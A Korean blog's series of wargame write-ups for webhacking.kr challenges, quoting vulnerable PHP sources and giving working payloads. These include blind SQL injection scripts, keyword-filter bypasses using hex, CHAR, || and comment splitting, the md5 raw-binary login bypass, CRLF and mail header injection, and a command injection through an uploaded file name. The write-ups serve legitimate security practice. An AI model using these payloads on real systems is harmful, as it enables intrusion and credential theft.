늘모자란, 개발

늘모자란, 개발



IE에서 정상 동작한다. 안움직인다

게임같이 보이는데 사실 게임이 중요한게 아니다.
Score와 x,y가 계속 쓰여지는데 이값은 GAME OVER 창이 뜨면서 점수표로 보내진다.
이걸 조작해서 내 점수를 상위에 올리는게 목표라 할 수 있겠다.

랭크테이블은 이렇게 생겼는데, 아래에 주석으로 힌트가 기재되어 있다

<!--

hint

rank table
====================
ip ( = id )
score
**password** --> small letter
====================

-->


아직까지는 뭘 어케 하는지 모르겠다.
GET의 score에 점수를 넣으면 해당 점수가 조회되는데, 점수를 대강 적고 or 1=1을 해보니 localhost가 나왔다.

그래서
http://webhacking.kr/challenge/web/web-31/rank.php?score=48851132%20or%20substr%28password,1,1%29=a

를 날려보니 no hack이 날아왔다.

substr은 필터링되있나보다. MID로 해보려니까 얘도 필터링 되있다 left, right은 된다.
그럼 이런식으로 하면 되지 않을까?

right(left(password,1),1)


이렇게 하면 left가 자르는값에서 right가 항상 땡겨오니 최신값을 비교할 수 있을 것 같았다. no hack도 안나오고 한번 돌려보기로 한다
안된다. 왜 안될까, 근데 생각해보니, 컬럼명이 애초에 password가 아닐 수 있다는 생각을 했다. 우린 select도 안하고 테이블 컬럼을 땡기는걸 했지 않나.

힌트에 의하면 password는 3번째 컬럼에 있다. limit가 되냐? 된다.

0 limit 2, 1 procedure analyse()


기가맥힌 패스워드 컬럼이 나온다. 어이가 없어서 잠시 벙쪘지만 다시 해보도록 하자.

http://webhacking.kr/challenge/web/web-31/rank.php?score=2147483647%20or%20right(left(컬럼,{}),1)={}


이렇게 구성한다. 2147483647에 해당하는 아이디 대신에 localhost가 나온다면 해당값이 바로 매치된다고 할 수 있다.
원래는 length도 구하고 해야되는데 이제 끝이 보이니 빨리 끝내고 싶은 마음에 그냥 33자리로 돌렸다..

어쨌뜬 그러면 아주 긴~~~ 녀석이 하나 나온다. 몇자린지는 안알려준다.
그리고 힌트의 small letter이라고 적힌건 뻥이다. 특문도 있고 숫자도 있다 ㅡㅡ


2016/04/03 01:01 2016/04/03 01:01
들어가면 Password is 라고 적혀있는데 얼마 지나지 않아 한글자씩 계속 출력한다. 멈출수도 없고 굉장히 빡친다.
콘솔을 열어보면 0부터 32까지 숫자가 카운팅되면서 계속 호출되고 있다. 날렵한 동체시력이 있다면 다 기록하고 문제를 넘어갔겠지만 난 그렇지 않기에... ㅠㅠ

<script>
function run(){
  if(window.ActiveXObject){
   try {
    return new ActiveXObject('Msxml2.XMLHTTP');
   } catch (e) {
    try {
     return new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {
     return null;
    }
   }
  }else if(window.XMLHttpRequest){
   return new XMLHttpRequest();
 
  }else{
   return null;
  }
 }

x=run();

function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}

setTimeout("answer(0)",10000);

</script>



근데 이게 골때리는게, response를 읽어보니 그냥 한글자 적혀있다. 얘를 모으면 패스워드가 될텐데..
그래서 0씩 콜해보니까 대답대신 ?가 나왔다.
레퍼러를 체크하는것 같았다.
그래서 헤더에 레퍼러를 추가해주니 정상적으로 패스워드가 반환되었다
사실 js를 푸는 문제겠지만... 100점짜린데 귀찮았다...


#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess),
           'Referer': 'http://webhacking.kr/challenge/bonus/bonus-14/'
          }
pw = ''
for i in range(0,33):
    url = 'http://webhacking.kr/challenge/bonus/bonus-14/?m={}'.format(i)
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()
    pw = pw + str(response)

print pw
2016/04/02 22:32 2016/04/02 22:32
문제에 들어오면 hello world 딸랑 하나 있다

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>


가장 위에 있는 answer는 최종 정답이고, val을 이용해 일단 들어가야되는데 이건 or이 막혀있지 않아서 간단히 패스할 수 있다.

2%20or%201


이제 여기서 부터 시작이다.
(밑에 사진 올리고 나서 알아챘지만 그냥 1,2,3,4 입력해도 나온다..........)



옛날에 컬럼이름은 어떻게 알아내는가?에 대해 글을 쓴적이 있는데 결론은 information.schema 에 접근을 못하면 못알아낸다로 결론을 냈었다.
심지어 이 문제에서는 select도 못하고, union도 못하며, from도 못한다. 진짜 어떻게 하라는건지 감도 못잡고 있다가 결국 검색찬스를 썼다.

결론부터 말하자면 이녀석이다.

procedure analyse()


난 본적도 없는데 검색해보면 인젝션 기법중 하나라고 많이 나오는데 여기까지 닿기가 정말 어렵다. 도저히 모르겠다.
결국 한번 돌려보고 결과를 얻어봤는데, 컬럼들이 전부 나오고 최대길이의 row, 최적화된 length , type을 추천해준다.
당연히 테이블명을 얻을 수 있는건 일도 아닌것이다. 다 사용하고 있는 DB라 보여줄순 없네. 여튼 유용하게 쓰일만한 기법이다.

여튼 val에 들어갈 쿼리를 이렇게 꾸민다.

1 procedure analyse() #


그럼 테이블명을 뱉는다. 출력을 [0]만 하니까 첫번째 컬럼만 출력하지만 이걸로도 테이블 이름은 충분히 알 수 있다.
테이블 명을 넣어주면 패스..


2016/04/02 16:52 2016/04/02 16:52


충분히 감은 온다. mail header injection하고 원리는 같은것 같다.
다만 Cookie를 내가 넣는게 아니라 생성하는걸 어떻게 하는줄 몰라서 찾아봤더니 좋은데가 있었다.

정식명칭도 있는 얘는 CRLF Injection이라고 한단다.
Set-Cookie를 쓰면 되는건 알았고 개행을 시켜야되는데 \r\n도 넣어보고 \n도 넣어보고 했는데 잘 안되었다.

라고 생각하고 이 쉬운거에 20분 넘게 쓴것 같다 ㅡㅡ
Set-Cookie가 아니라 그냥 header에 끼워넣으면되는거였다. 아 어이가 없네..

?id=[]%0D%0Aclear:%20[]


그리고 id=[] 쿠키를 생성하라는데 이게 아니라 clear: 를 해야한다. 이건 뭐 문제도 헷갈리고 나도 난독이고.......
2016/04/02 16:22 2016/04/02 16:22


최신기술인가?; 이런 그래픽이 나올수가 있다니

<html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?


if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],true);

$q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'"));

if($q[id]=="admin")
{
@solve(51,250);
}

if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>");


}

?>
<br><br><br>
<form method=post action=index.php>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=index.phps>Source</a></div>
</font>
</form>
</body>
</html>


바로 눈에 들어오는건 md5에 true인자를 준거였다. 저렇게 쓰는걸 본적이없는데... 바로 검색해봤더니 역시 저기에 취약점이 있었다.

정답부터 말하자면 이녀석이다.

129581926211651571912466741651878684928


이녀석을 md5에 넣게 되면 바이너리화하게 되고 결국 깨진 문자열이 들어가면서, 쿼리를 파괘(...) 하게 된다.
자세한 내용은 여기에서 참고 하였는데, 응용해서 만들면 만들 수 있긴하겠다만 애초에 12958... 뭐시기 저걸 피해갈 수 없을정도로 유명한 구문이다 (-_-) 얻을 수 있는 교훈이라면 쓸데없이 이상한거 하지 말자(.....)
2016/04/02 15:42 2016/04/02 15:42

어디서 많이 본 화면이다.

<html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000) exit();
?>
<!-- index.phps -->

<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');


foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}


if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
if($data[0]=="1") echo("level : 1<br><br>");
if($data[0]=="2") echo("level : 2<br><br>");
} 

if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>

<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>


소스를 보니 진짜로 많이 본 화면이다.
혹시 하는마음에 답을 똑같이 넣어봤지만 되진않았다. 되면 어이없을뻔하긴했지만, 멀티바이트 취약점을 똑같이 이용해야하는것 같긴하다.
날로 먹으려는 생각은 일단 좀 버리고 제대로 읽어보도록.. 흠..

결론은 lv를 select해야될 것 같다. 앞선 문장을 다 false로 만들고 or을 넣어서 lv3을 select해야할 것 같은데..
취약점을 이용해 ' 를 무력화 하기 위해 앞에 %a1을 붙여주고, 공백을 필터링하고 있으니 or 대신 || 를 사용해 최소화한다. id에 이렇게 값을 넣어본다.

%a1%27%7C%7C1%23


풀어쓰면 '||1# 인데 이렇게 치면 level1이 나온다. 뒤쪽까지 주석처리에 성공한 모양이지만 잘되나 확인해보자.

%A1%27%7C%7Clv%0Alike%0A2%0A%23


공백을 넣어야하는데 공백문자는 필터링되어있다. 그래서 공백을 %0A로 바꿔주었다. 다 풀어쓰면 이런모양이다.

'||lv
like
1#


얘는 level: 1이 나온다 다된줄 알고 기뻐해서 2로 고쳐서 날려봤는데... 안 나 온 다..
아마 lv2는 없는것 같다. 3으로 고쳐서 해봐도 똑같이 안된다.
값이 없을땐 강제로 만들면 되지 라는 깡패같은 문제를 푼적이 있겠지만, union을 써야한다.

근데 골때리는게 id에는 union을 쓸수가 없다. 기껏 뒤쪽 문장을 주석처리 시켜놨더니 풀고 pw에 써야될 판이다.
pw는 심지어 md5 해쉬화 하고 있다. 이 부분을 다 무력화 시키지 않으면 안되는데.. 감이 안잡혀서 역시 검색찬스를 썼다. 답은 주석이었다.
방금 주석 못쓴다고 하지 않았냐는데 아니다. 쓸 수 있다.
#도 있고 -- 도 있지만, /**/를 완전 까먹고 살아서 이꼴이다.

요컨데 이런 꼴로 만들면 되겠다

"select lv from members where id='/*' and pw=md5('*/ union select 3 #'"


이를 urlencode해서 옮기면 이렇다.

id=%A1%27%2F%2A&pw=%2A%2F%0Aunion%0Aselect%0A3%23


정말 /**/는 상상도 못했다. 다 풀었다 생각했는데 왠 벽이 하나 나타난 느낌이었다...ㅠㅠ
2016/04/02 15:33 2016/04/02 15:33


똑같이 생겼다..

<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

필터링이 더 하드코어 해졌다. 이제 괄호도 못쓰게 됐다. 다만, 전에 있었던 0x 라는 필터가 사라졌다.
여전히 or은 있지만, || 를 필터하고 있진 않은것 같다. 대강 사이즈가 나오니 해보자.
저번엔 CHAR를 이용해 우회했는데 이번엔 문자열 전부를 hex-encode해보자. 원리는 완전히 같다.

2||id=0x61646d696e


가볍게 패스.



2016/04/02 14:44 2016/04/02 14:44


약간 랭킹 표시되었던거처럼 모양이 그렇다. index.php를 올리려니까 파일명이 세글자 넘으면안된다고 제지당한 모습이다
글을 일단 쓰면, 스스로 삭제 할 수 있도록 delete 버튼이 생긴다.

delete 버튼을 보니 인자값에 timestamp를 활용하고 있다. timestamp를 그럼 내가 조작해서 보내면 이사람들 글을 지울지 있지 않을까 라는 생각이 들었다. (언제 쓴진 모르니까 막연하다 물론)

한참 돌려놨다가 이게 아닌것 같다. 그래도 배점 350점 짜린데...
아까 세글자 안된다는 뭔가가 마음에 자꾸 걸린다. 파일을 업로드해보기로 한다.



오늘 내내 삭제질만 할뻔했다. 뭔가 새로운 버튼이 생겼다.
클릭해보니 파일명은 그대론데, 내용이 null이다. 아까 커맨드라인 인젝션이 생각이 난다.
&ls도 해보고 &'l's도 해보고 하는데 잘 안된다.

system("echo null > $_FILE[''][name]")


뭐 이런 모양일것 같은데....
세글자안에서 해결 해야되고 두글자는 ls가 확정인 상태. 아까 할떄 필터된 단어중에 ; 이 있었다. 이녀석을 넣어본다.
별 달리 달라지는건 없는것 같...은데? 삭제를 누르니... ?????


이럴때 양키들은 like a charm 이라고 한댔나
원리가 궁금하니 좀 찾아보자면,

&는 앞선 명령어가 성공했을때 연속으로 뒤도 실행되게 하는것이다.
근데 ; 는 원라이너를 위해 앞이 실패하든말든 그냥 구분해주는 느낌으로 쓰는것이다.

고로 업로드할때는 별 문제가 되지 않지만 삭제를 하면 이런 꼴이 되는것이다.

rm upload/;ls


앞에서 의도적으로 오류를 만들고, ls를 하게 해 파일리스트가 나오게 하는 것.
3글자 힌트가 좀 결정적이었던것 같다.

2016/04/02 14:41 2016/04/02 14:41


메일 헤더 인젝션이라고 한다. index.phps도 제공되지 함께 보자

<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>

<?

if($_POST[email])
{

$pass="????";

$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>

</pre>

<!-- index.phps -->

</body>
</html>


별다른 필터링도 없다. 메일 헤더 인젝션이라니까, admin@webhacking.kr로 가는걸 가로 채서 나한테 보내야될 것 같다.
mail header injection으로 많이 찾아봤는데 Reply-To도 있고 Bcc도 있고 Cc도 있는데 그냥 간단하게 cc로 해보도록 한다.
raw를 조작해 요렇게 보내준다. (urlencode하기 귀찮아 그냥 바로 넣었다)

POST http://webhacking.kr/challenge/bonus/bonus-11/index.php HTTP/1.1
Host: webhacking.kr
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://webhacking.kr/challenge/bonus/bonus-11/index.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=; kk=1

email=@naver.com
cc: @naver.com


뭐 이런 모양이다. 패스워드가 화면에 표시되고 문제 끝.
2016/04/02 14:18 2016/04/02 14:18


레벨이 있다..
.
..

<html>
<head>
<title>Challenge 46</title>
</head>
<body>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");

if($q[0]=="admin") @solve();

}
?>

</body>
</html>


일단 눈에 띄는건 0x를 쓸수가 없다. hex match를 할 수 없다는 말 같다.
다행히 "는 쓸 수 있는것 같고. 그럼 여태까지 해왔던게 있으니 쿼리를 만들어보자.

row 에 1이 있으니까 lv에 1을 주면 안되고 false로 만든다.
그리고 공백을 적을 수가 없으니까 일반 OR을 적어도 안되니 || 를 쓴다.
id=admin은 적어줘야 할 것 같은데 왠지 필터링이 된다. CHAR을 사용해보자.
종합하면

2||id=CHAR(97,100,109,105,110)


끝!



2016/04/02 14:05 2016/04/02 14:05